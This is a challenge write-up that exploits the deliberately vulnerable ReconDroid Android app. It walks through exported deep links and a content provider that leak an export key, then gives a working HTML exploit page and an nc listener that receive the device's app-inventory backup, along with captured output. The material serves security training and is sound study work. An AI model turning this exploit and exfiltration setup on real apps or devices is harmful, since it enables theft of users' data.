Skip to content

8kSec ReconDroid The Application Intelligence Provider

Description: Ever wondered what secrets your Android device holds? Meet ReconDroid! A powerful application analysis tool that gives you unprecedented insight into your device's ecosystem.

Link: https://academy.8ksec.io/course/android-application-exploitation-challenges

Let's install the .apk file using ADB

adb install -r ReconDroid.apk

We can see that the application lists all the applications installed on the device. It backs up the list of applications and also collects some information about the operating system.

In addition, we see that a key is generated, which changes every time we perform a backup or generate it manually. Backups are generated by default under the directory /sdcard/Android/data/

Let's inspect the source code using JADX. Looking into the AndroidManifest.xml file we can see the most interesting piece of code:

<activity
    android:name="com.eightksec.recondroid.MainActivity"
    android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <category android:name="android.intent.category.LAUNCHER"/>
    </intent-filter>
    <intent-filter android:autoVerify="true">
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data
            android:scheme="recondroid"
            android:host="export"/>
    </intent-filter>
    <intent-filter android:autoVerify="true">
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data
            android:scheme="recondroid"
            android:host="debug"/>
    </intent-filter>
</activity>
<provider
    android:name="com.eightksec.recondroid.DebugInfoProvider"
    android:readPermission="android.permission.INTERNET"
    android:exported="true"
    android:authorities="com.eightksec.recondroid.debug"/>

ReconDroid exposes two deep links: - recondroid://export - recondroid://debug That trigger its backup & export pipeline without requiring user interaction or authorization. A malicious web page can silently steal the generated backup (in .txt format) as soon as the victim opens the page in any Android browser (API 24–35).

The flags exported="true" + BROWSABLE allow any browser to start this Activity. Also, we can see the Content Provider DebugInfoProvider that any app with the common INTERNET permission can pull the current export key. - content://com.eightksec.recondroid.debug/debug_info

Let's see the MainActivity.java class and the important code:

private final void handleExportDeeplink(Uri uri) {
    String str;
    String queryParameter = uri.getQueryParameter("protocol");
    if (queryParameter == null) {
        queryParameter = "http";
    }
    String str2 = queryParameter;
    String queryParameter2 = uri.getQueryParameter("host");
    String queryParameter3 = uri.getQueryParameter("port");
    Ref.ObjectRef objectRef = new Ref.ObjectRef();
    objectRef.element = uri.getQueryParameter("key");
    Ref.ObjectRef objectRef2 = new Ref.ObjectRef();
    objectRef2.element = uri.getQueryParameter("file");
    String str3 = queryParameter2;
    if (str3 == null || str3.length() == 0 || (str = queryParameter3) == null || str.length() == 0) {
        return;
    }
    BackupExportManager backupExportManager = this.backupExportManager;
    if (backupExportManager == null) {
        Intrinsics.throwUninitializedPropertyAccessException("backupExportManager");
        backupExportManager = null;
    }
    backupExportManager.showToast("🚀 Export deeplink triggered!");
    BuildersKt__Builders_commonKt.launch$default(LifecycleOwnerKt.getLifecycleScope(this), null, null, new MainActivity$handleExportDeeplink$1(objectRef, this, objectRef2, str2, queryParameter2, queryParameter3, null), 3, null);
}

private final void handleDebugDeeplink(Uri uri) {
    String str;
    String queryParameter = uri.getQueryParameter("action");
    if (Intrinsics.areEqual(queryParameter, "get_key")) {
        performKeyDiagnostics();
        String queryParameter2 = uri.getQueryParameter("host");
        String queryParameter3 = uri.getQueryParameter("port");
        String queryParameter4 = uri.getQueryParameter("protocol");
        if (queryParameter4 == null) {
            queryParameter4 = "http";
        }
        String str2 = queryParameter2;
        if (str2 == null || str2.length() == 0 || (str = queryParameter3) == null || str.length() == 0) {
            return;
        }
        performAutoExport(queryParameter4, queryParameter2, queryParameter3);
        return;
    }
    if (Intrinsics.areEqual(queryParameter, "get_status")) {
        BackupExportManager backupExportManager = this.backupExportManager;
        if (backupExportManager == null) {
            Intrinsics.throwUninitializedPropertyAccessException("backupExportManager");
            backupExportManager = null;
        }
        backupExportManager.showToast("Debug: System operational");
    }
}

Check the line:

performAutoExport(queryParameter4, queryParameter2, queryParameter3);
This will trigger:
if (Intrinsics.areEqual(queryParameter, "get_status")) {
    BackupExportManager backupExportManager = this.backupExportManager;
    if (backupExportManager == null) {
        Intrinsics.throwUninitializedPropertyAccessException("backupExportManager");
        backupExportManager = null;
    }
}
In this code, the application does not perform any type of validation. So, If key is null → Uses current key without validation.

Also, some useful code, we can found it in DebugInfoProvider:

public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
    Intrinsics.checkNotNullParameter(uri, "uri");
    int match = uriMatcher.match(uri);
    if (match == 1) {
        return getDebugInfo();
    }
    if (match != 2) {
        return null;
    }
    return getAppStatus();
}

private final Cursor getDebugInfo() {
    MatrixCursor matrixCursor = new MatrixCursor(new String[]{"key", "value", "timestamp"});
    try {
        Context context = getContext();
        SharedPreferences sharedPreferences = context != null ? context.getSharedPreferences("debug_info", 0) : null;
        if (sharedPreferences != null) {
            String string = sharedPreferences.getString("last_export_key", "");
            String string2 = sharedPreferences.getString("key_status", "inactive");
            long j = sharedPreferences.getLong("debug_timestamp", 0L);
            matrixCursor.addRow(new Object[]{"export_key", string, Long.valueOf(j)});
            matrixCursor.addRow(new Object[]{"key_status", string2, Long.valueOf(j)});
            matrixCursor.addRow(new Object[]{"debug_mode", "enabled", Long.valueOf(System.currentTimeMillis())});
            matrixCursor.addRow(new Object[]{"app_version", "1.0", Long.valueOf(System.currentTimeMillis())});
        }
    } catch (Exception e) {
        e.printStackTrace();
        matrixCursor.addRow(new Object[]{"error", "debug_access_failed", Long.valueOf(System.currentTimeMillis())});
    }
    return matrixCursor;
}

Any application (or our browser exploit) with the permission android.permission.INTERNET can read content://com.eightksec.recondroid.debug/debug_info and retrieve the full export key.

In SecureKeyManager class, we see how key is generated:

public final String generateExportKey() {
    try {
        byte[] bArr = new byte[32];
        new SecureRandom().nextBytes(bArr);
        String encodeToString = Base64.encodeToString(bArr, 2);
        SecretKey orCreateMasterKey = getOrCreateMasterKey();
        Intrinsics.checkNotNull(encodeToString);
        this.prefs.edit()
            .putString("encrypted_export_key", encryptWithMasterKey(encodeToString, orCreateMasterKey))
            .putLong("key_generation_time", System.currentTimeMillis())
            .apply();
        storeKeyForDebugging(encodeToString);
        return encodeToString;
    } catch (Exception e) {
        e.printStackTrace();
        return "";
    }
}

So, returning to MainActivity, specifically to the handleExportDeeplink() function We can say that we can perform the following operation: - Any web page looking for recondroid://export?protocol=http&host=… reaches this path directly. Even when the optional key or file parameters are absent, exportToRemote() auto‑fills them.

Here we can see what I mentioned at the beginning, how and where the default backup was generated on the device. In BackupExportManager

public final String getLatestBackupFile() {
    File[] listFiles;
    try {
        long j = 0;
        File file = null;
        for (File file2 : CollectionsKt.listOf((Object[]) new File[]{
                new File(this.context.getExternalFilesDir(Environment.DIRECTORY_DOCUMENTS), "backups"),
                new File(this.context.getExternalFilesDir(null), "backups"),
                new File(this.context.getFilesDir(), "backups")
        })) {
            if (file2 != null && file2.exists() && (listFiles = file2.listFiles(new FileFilter() { // from class: com.eightksec.recondroid.BackupExportManager$ExternalSyntheticLambda0
                @Override // java.io.FileFilter
                public final boolean accept(File file3) {
                    boolean latestBackupFile$lambda$0;
                    latestBackupFile$lambda$0 = BackupExportManager.getLatestBackupFile$lambda$0(file3);
                    return latestBackupFile$lambda$0;
                }
            })) != null) {
                for (File file3 : listFiles) {
                    if (file3.lastModified() > j) {
                        j = file3.lastModified();
                        file = file3;
                    }
                }
            }
        }
        if (file != null) {
            return file.getAbsolutePath();
        }
        return null;
    } catch (Exception e) {
        e.printStackTrace();
        return null;
    }
}

/* JADX INFO: Access modifiers changed from: private */
public static final boolean getLatestBackupFile$lambda$0(File file) {
    String name = file.getName();
    Intrinsics.checkNotNullExpressionValue(name, "getName(...)");
    if (StringsKt.startsWith$default(name, "recondroid_backup_", false, 2, (Object) null)) {
        String name2 = file.getName();
        Intrinsics.checkNotNullExpressionValue(name2, "getName(...)");
        if (StringsKt.endsWith$default(name2, ".txt", false, 2, (Object) null)) {
            return true;
        }
    }
    return false;
}

Let's create the exploit! We can carry out this attack more stealthily if we create a mobile application, but since the challenge asks us to create a web page, the ReconDroid application will open anyway. The index.html code:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>ReconDroid Export Trigger</title>
<style>
  body{background:#000;color:#e0e0e0;font-family:monospace;text-align:center;margin-top:8vh}
  .btn{padding:12px 28px;font-size:18px;border:none;border-radius:6px;
       background:#ff0080;color:#fff;cursor:pointer;transition:.2s}
  .btn:hover{background:#d6006b}
  .loading{display:none;margin-top:20px;font-size:15px}
  #status{margin-top:24px;font-size:13px}
</style>
</head>
<body>

<button class="btn" onclick="startChallenge()">Trigger Export</button>
<div class="loading">Launching intent...</div>
<div id="status"></div>

<script>
  const SERVER_HOST = "192.168.0.124";
  const SERVER_PORT = "7777";

  function startChallenge() {
    const btn     = document.querySelector('.btn');
    const loading = document.querySelector('.loading');
    const status  = document.getElementById('status');

    btn.style.display = 'none';
    loading.style.display = 'block';
    status.textContent  = '';

    const deeplink =
      `recondroid://debug` +
      `?action=get_key` +
      `&host=${SERVER_HOST}` +
      `&port=${SERVER_PORT}`;

    console.log('Deeplink:', deeplink);
    window.location.href = deeplink;

    setTimeout(() => {
      loading.style.display = 'none';
      status.textContent =
        `Intent sent -> check netcat command -- ${SERVER_HOST}:${SERVER_PORT}`;
    }, 3500);
  }
</script>
</body>
</html>

And we can setup a listener using nc (where we'll receive the data)

while true; do
nc -lnvp 7777 > recon.txt
head -n 500 recon.txt
done
This command will print the first 500 lines of the content that we stolen from our web page. Setup a python web server with
python3 -m http.server 8080

Go to your <ip>:<port> page, and then, click on the link that will trigger the intent. In netcat command we can notice the established connection from our device and the content backup.

The content that the app will send to us:

Connection from 192.168.0.124:51928
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=7498722a-19b4-4754-a628-a44285a84de1
Content-Length: 64028
Host: 192.168.0.124:7777
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/4.12.0

--7498722a-19b4-4754-a628-a44285a84de1
Content-Disposition: form-data; name="file"; filename="recondroid_backup_2025-07-27_20-05-46.txt"
Content-Type: text/plain
Content-Length: 63635

ReconDroid Application Backup
Generated: Sun Jul 27 20:05:46 GMT 2025
Total Applications: 17
Export Key: uFC7WNoKLipKUtf4X81nAepoSL9E+AlgKwmFzE6enY0=
Storage Location: /storage/emulated/0/Android/data/com.eightksec.recondroid/files/Documents/backups
==================================================

Application: Android System Key Verifier
Package: com.google.android.contactkeys
Version: 1.185.769575122 (5785)
Type: User
Status: Enabled
UID: 10218
Target SDK: 35
Min SDK: 26
Install Date: Sat Apr 19 04:23:46 GMT 2025
Update Date: Tue Jul 22 23:26:00 GMT 2025
Source Dir: /data/app/~~TCEOi-UFDmmaSoOJ4rnMSg==/com.google.android.contactkeys-4Wub9Dni1ib8ybZ8X2TVyA==/base.apk
Data Dir: /data/user/0/com.google.android.contactkeys
App Size: 8.7 MB
Data Size: 0 B
Cache Size: 0 B
Debuggable: false
Allow Backup: true
Permissions (2):
  - android.permission.QUERY_ALL_PACKAGES
  - com.google.android.providers.gsf.permission.READ_GSERVICES
Activities (3):
  - com.google.android.gms.common.api.GoogleApiActivity
  - com.google.android.gms.contactkeys.MainActivity
  - com.google.mlkit.vision.codescanner.internal.GmsBarcodeScanningDelegateActivity
Services (3):
  - com.google.android.gms.contactkeys.service.ContactKeyApiService
  - com.google.mlkit.common.internal.MlKitComponentDiscoveryService
  - androidx.room.MultiInstanceInvalidationService
Receivers (4):
  - com.google.android.libraries.appdoctor.AppDoctorReceiver
  - com.google.android.libraries.performance.primes.transmitter.LifeboatReceiver
  - com.google.android.libraries.phenotype.client.stable.AccountRemovedBroadcastReceiver
  - com.google.android.libraries.phenotype.client.stable.PhenotypeUpdateBackgroundBroadcastReceiver
--------------------------------------------------

Application: Android System SafetyCore
Package: com.google.android.safetycore
Version: 1.0.766604171 (6240)
Type: User
Status: Enabled
UID: 10217
Target SDK: 35
Min SDK: 28
Install Date: Sat Apr 19 04:23:41 GMT 2025
Update Date: Tue Jul 22 23:25:57 GMT 2025
Source Dir: /data/app/~~jk52fsEYFTtZP1XyDiPoQA==/com.google.android.safetycore-7LZLJf9toNBfeT175Trlhw==/base.apk
Data Dir: /data/user/0/com.google.android.safetycore
App Size: 5.5 MB
Data Size: 0 B
Cache Size: 0 B
Debuggable: false
Allow Backup: true
Permissions (3):
  - android.permission.INTERNET
  - android.permission.ACCESS_NETWORK_STATE
  - com.google.android.providers.gsf.permission.READ_GSERVICES
Activities (1):
  - com.google.android.gms.common.api.GoogleApiActivity
Services (4):
  - com.google.android.apps.safetycore.service.ClassificationApiService
  - androidx.room.MultiInstanceInvalidationService
  - androidx.work.impl.background.systemjob.SystemJobService
  - androidx.work.impl.foreground.SystemForegroundService
Receivers (6):
  - com.google.android.libraries.appdoctor.AppDoctorReceiver
  - com.google.android.libraries.performance.primes.transmitter.LifeboatReceiver
  - com.google.android.libraries.phenotype.client.stable.AccountRemovedBroadcastReceiver
  - com.google.android.libraries.phenotype.client.stable.PhenotypeUpdateBackgroundBroadcastReceiver
  - androidx.work.impl.utils.ForceStopRunnable$BroadcastReceiver
  - androidx.work.impl.diagnostics.DiagnosticsReceiver
Providers (1):
  - androidx.startup.InitializationProvider
--------------------------------------------------
[...]
[...]
[...]
[...]

And all the .txt we can read.

I hope you found it useful (: